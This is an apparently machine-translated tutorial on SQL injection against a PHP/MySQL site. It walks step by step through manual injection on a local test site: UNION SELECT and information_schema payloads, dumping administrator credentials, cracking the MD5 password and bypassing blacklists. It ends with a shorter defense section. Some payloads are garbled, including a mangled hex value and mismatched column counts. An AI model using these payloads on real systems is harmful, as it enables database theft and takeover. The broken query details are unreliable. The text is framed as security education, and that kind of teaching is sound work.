PHP + Mysql Injection Attack and Defense in the Web Attack and Defense Series

With the rapid development of Web applications and the continuous maturity of technology, the demand for Web development-related jobs is also growing, and more people are joining the ranks of Web development. However, due to varying levels of programmers or low security awareness, many programmers only consider functional implementation when writing code, and seldom or never consider application security issues. This causes many applications to have different levels of security vulnerabilities. SQL injection is one of them.

As a popular attack method, SQL injection has been widely used by network security researchers and hackers. So what is SQL injection? SQL injection is an attack technique that inserts malicious SQL commands into the input fields of Web forms or query strings of page requests, to spoof the server to execute malicious SQL commands.

SQL Injection Attack Overview

SQL Injection Definition

SQL injection is an attack that can trick a server into executing malicious SQL commands by inserting malicious SQL commands into the input fields of Web forms or query strings of page requests.

SQL Injection Attack hazards

Attackers can exploit the SQL injection vulnerability to manipulate database data (for example, obtain confidential data in the database, modify data in the database at will, delete the database, and so on). After obtaining certain permissions, they can also mount Trojans, even get the administrator privilege of the whole server. Because SQL Injection uses the normal port of the website (usually port 80) to submit malicious SQL statements, it seems that it is no different from normal Website access, if you do not carefully view WEB logs, it is difficult to find such attacks, which is highly concealed. Once the SQL injection vulnerability occurs in the program, we should pay enough attention to it.

Principles of SQL Injection Vulnerabilities

The essence of SQL injection is that a malicious attacker inserts or adds SQL code to program parameters, but the program does not correctly process the input parameters, as a result, the data in the parameter is executed as code and the execution result is finally returned to the attacker.
Let's look at an example when accessing http://www.a.com/cms/new.php? When id = 3, an article with id 3 will be displayed on the page, and the server will actually execute the following code, as shown in 1:

 
Figure 1

The SQL statement actually executed in the above process is as follows:

Select * from news where id = 3

Now we are at URL (http://www.a.com/cms/new.php? Id = 3) Add "and 1 = 1". The actual SQL statement is:

Select * from news where id = 3 and 1 = 1

Because this condition is always true, the returned page is the same as the normal page.

When "and 1 = 2" is added, the following SQL statement is executed:

Select * from news where id = 3 and 1 = 2

Because this condition is never true, the returned page is different from the normal page.

Now we can control the value of the parameter id to affect the returned results of the program. The code in section 1 is analyzed. The value of the parameter id obtained by GET is directly used to construct a dynamic SQL statement and execute an SQL query. The entire process does not process the value of the variable id, leading to the SQL injection vulnerability.

Typical SQL Injection Process

1. Determine the scripting language used by the Web system, discover the injection points, and determine whether the SQL injection vulnerability exists.

2. Determine the Database Type of the Web System

3. determine the structure of tables and corresponding fields in the database

4. Construct an injection statement to obtain the data in the table.

5. Search for the website administrator's background and log on with the Administrator's account and password.

6. Combined with other vulnerabilities, find a way to upload a Webshell

7. Further elevation of permission to obtain the server's system Permissions

(Note: The above is a general process and may vary depending on the actual situation .)

PHP + Mysql injection instance

To facilitate testing, we set up a local Web system environment to penetrate the website from the perspective of attackers, so that readers can understand the complete process of php + mysql injection. The URL is http://www.a.com/cms/index.php, and the first page of the website is 2:

 
Figure 2

Manual Injection

1. Search for injection points and determine whether the website has the SQL injection vulnerability.

First, open the website, select the "Enterprise News" link, and select a news article, as shown in 3. Through this URL (http://www.a.com/cms/new.php? Id = 3), we can determine that there is a parameter id, and its value is equal to 3.

 
Figure 3

Now we are in http://www.a.com/cms/new.php? Id = 3 is followed by a single quotation mark, and a page different from the normal page is returned, as shown in Figure 4. This indicates that the single quotation mark we added affects the running result of the program. There may be injection points here, but sometimes it is inaccurate to use the method of adding single quotes to determine whether there are injection points. Some Programmers think that SQL injection can be avoided as long as single quotes are simply filtered out, so the single quotes are simply filtered out in program parameters without any additional processing. In this case, you cannot use the single quotes method to detect whether the program has the SQL injection vulnerability. However, the SQL injection vulnerability still exists. You can use other methods to detect the vulnerability.

Figure 4

Next we are in http://www.a.com/cms/new.php? After id = 3, add "and 1 = 1" and "and 1 = 2". The returned page is the same as the normal page when and 1 = 1 is added, as shown in Figure 5.

Figure 5

When and 1 = 2 is added, the returned page is different from the normal page, as shown in figure 6.

 
Figure 6

Now we can determine that this is an SQL injection point. The program does not process the introduced parameters and directly brings them to the database query statements. Can it be inferred that the access to the http://www.a.com/cms/new.php? When id = 3, the SQL statement executed in the database is like this:

Select * from [Table name] where id = 3

The SQL statement after and 1 = 1 is added:

Select * from [Table name] where id = 3 and 1 = 1 because the condition and 1 = 1 is always true, the returned page is consistent with the normal page.

The SQL statement after and 1 = 2 is added:

Select * from [Table name] where id = 3 and 1 = 2 because condition 1 = 2 is always false, the returned page is inconsistent with the normal page

2. Get the information we are interested in through SQL Injection

We have determined that the system has the SQL injection vulnerability. Let's experience the powerful power of SQL injection. Let's first judge the database type and version and construct the following statement:

Http://www.a.com/cms/new.php? Id = 3 and ord (mid (version (), 1, 1)> 51

If a normal page is returned, the database is mysql and the version is later than 4.0. union query is supported. Otherwise, the database is earlier than 4.0 or another type of database.

Then we construct the following statement to refresh the fields in the table:

A. http://www.a.com/cms/new.php? Id = 3 order by 10 Return Error Page, indicating that the field is less than 10

B. http://www.a.com/cms/new.php? Id = 3 order by 5 return to the normal page, indicating that the field is between 5 and 10

C. http://www.a.com/cms/new.php? Id = 3 order by 7 Return Error Page, indicating that the field is greater than 5 and less than 7. You can determine that the number of fields is 6. Next, let's confirm.

D. http://www.a.com/cms/new.php? Id = 3 order by 6 returns to the normal page, indicating that the field is indeed 6
The "binary search" method is used here, which can reduce the number of judgments and save time. If order by 1 is used to increase the number of fields in sequence, it takes seven times to determine the number of fields. It only takes four times to use the "binary search" method. When the number of fields is large, the binary search method has more obvious advantages and higher efficiency.

The following statements are constructed to determine which fields can be used to display data:

Http://www.a.com/cms/new.php? Id = 0 union select 1, 2, 4, 5, 6

 
Figure 7

Based on the returned information, we can determine fields 3, 4, 5, and 6 to display data, as shown in 7. Then we construct the following statements to obtain some database information:

Http://www.a.com/cms/new.php? Id = 0 union select 1, 2, database (), version (), user (), 6

 
Figure 8

Based on the returned information of page 8, we can get the following information:

Database Name: cms

Database Version: 5.1.51-community

Username: root @ localhost, and the Web system and database are on the same server

We can also construct other statements to obtain other information, such as the operating system and database path. Based on the above information, we know that the database version is 5.0 or later. In MySQL or later versions, a system library named information_schema is added. With this library, we can use it to directly expose databases, tables, and fields. In versions earlier than 5.0, table names and field names can only be obtained through brute-force guesses. Next we will construct the SQL statement to expose the table name and field name:

Violent table name

Http://www.bkjia.com/cms/new. php? Id = 0 union select 1, 2, table_name, 4, 5, 6 from information_schema.tables where table_schema = 0x636D73 limit 0, 1

Note: table_schema = [database name]. The database name must be converted to hexadecimal. 0 in Limit 0, 1 indicates the first table in the database to be queried, and so on.

A total of 12th tables have been exposed, and a table named root is found, which is suspected to be an administrator table. Then the field in the table is exposed and the following SQL statement is constructed:

Http://www.a.com/cms/new.php? Id = 0 union select 1, 2, column_name, 6 from information_schema.columns where table_name = 0x20.f6f74 limit 0, 1

Finally, it is confirmed that the table has three fields: root_id, root_name, and root_pass. It is preliminarily determined that this table should save the Administrator account and password. Now we have obtained the root table and its corresponding field name.

Content in the violence table

Construct the following SQL statement:

Http://www.a.com/cms/new.php? Id = 0 union select 1, 2, root_id, root_name, root_pass, 6 from cms. root

 
Figure 9

As shown in Figure 9, we get the Administrator's account and password. The password is encrypted by MD5 and decrypted to 123456. Now we get the Administrator's account and password. As long as we find the Administrator Logon page, we can log on to the background. Soon we found the back-end address of the website: http://www.a.com/cms/isadmin/login.php

Let's log in and see, as shown in 10.

Figure 10

Now that we have the permissions of the website administrator, we can modify the website information (such as adding or deleting Articles) at will, and upload a Webshell based on other vulnerabilities, further escalate permissions to obtain the system permissions of the server. Here you can make full use of your imagination. This article describes SQL injection. For more information about privilege escalation, see other documents.

Tool Injection

Through the above introduction and manual injection instances, we have a complete understanding of the principles and exploitation of SQL injection vulnerabilities. Readers may also find that manual injection is cumbersome, inefficient, and error-prone. However, manual injection can deepen understanding of the vulnerability principles and exploitation process. When we have a good understanding of this, we can use tools to improve efficiency. There are many excellent tools for us to choose from. The following shows how to use the tool for SQL injection. The famous Havij is used for demonstration. First, open the Havij software, as shown in page 11:

Figure 11

After all the settings are complete, select "Analyze" and the result will be returned soon, as shown in figure 12 and Figure 13.

 
Figure 12

 
Figure 13

SQL Injection Attack Defense

We have explained the principles and harms of SQL injection and demonstrated the exploitation process of SQL injection vulnerabilities from the perspective of attackers. Next we will talk about SQL anti-injection from the Defense perspective as a manager.
Based on the principles of SQL injection, we know that to successfully exploit the SQL injection vulnerability, two conditions must be met: one is that attackers can control user input, and the other is that the injected code is successfully executed. The following content focuses on these two aspects.
First, we need to correctly process the parameters passed from other places before entering the database. It mainly includes the following aspects:

1. Use a pre-compiled statement to bind the variable.

2. Verify the passed parameters to ensure that they comply with the standards defined in the application. There are two methods to achieve this: whitelist and blacklist. Theoretically, the whitelist is more secure than the blacklist, because it only allows data defined in the whitelist to pass, and other data will be filtered out. The blacklist only filters data defined in the blacklist (for example, some dangerous characters in SQL injection), which is usually implemented using regular expressions. However, the blacklist may be bypassed because it cannot contain all dangerous characters. For example, in mysql injection, when space characters are filtered in the blacklist, we can use "/* (comment in mysql)" and "+" to replace space, attackers can bypass the Black List restriction to continue the injection. Therefore, we should try to use the white list as much as possible.

In addition to verifying user input, sometimes, due to security awareness and technical problems of programmers, it may be a small negligence, which may lead to SQL injection vulnerabilities. Another case is that we have discovered the SQL injection vulnerability. However, due to restrictions or other reasons, the vulnerability cannot be fixed at the code layer. For example, in an enterprise, A Web system is developed by programmer A. After A while, A has resigned. Later, the system was found to have the SQL injection vulnerability, and it was almost impossible to let programmer A back to fix the vulnerability. Other programmers are not familiar with this system or are unable to fix this vulnerability due to technical issues. This situation is more common in small and medium-sized enterprises. At this time, although we cannot fix vulnerabilities from the code layer, we can use some other methods to prevent successful exploitation of vulnerabilities and minimize the risks. For example, you can deploy WAF to block SQL injection attacks. Although some attackers can bypass WAF restrictions, they are a minority. For the vast majority of attacks, WAF can be detected and blocked. Even a high level of attackers, After deploying WAF, will obviously make it difficult to exploit the vulnerability.

Finally, the "minimum permission principle" should be used in the database to prevent Web applications from directly connecting to the database using a high-permission account. If multiple applications use the same database, you should assign different accounts to each application and grant only necessary permissions.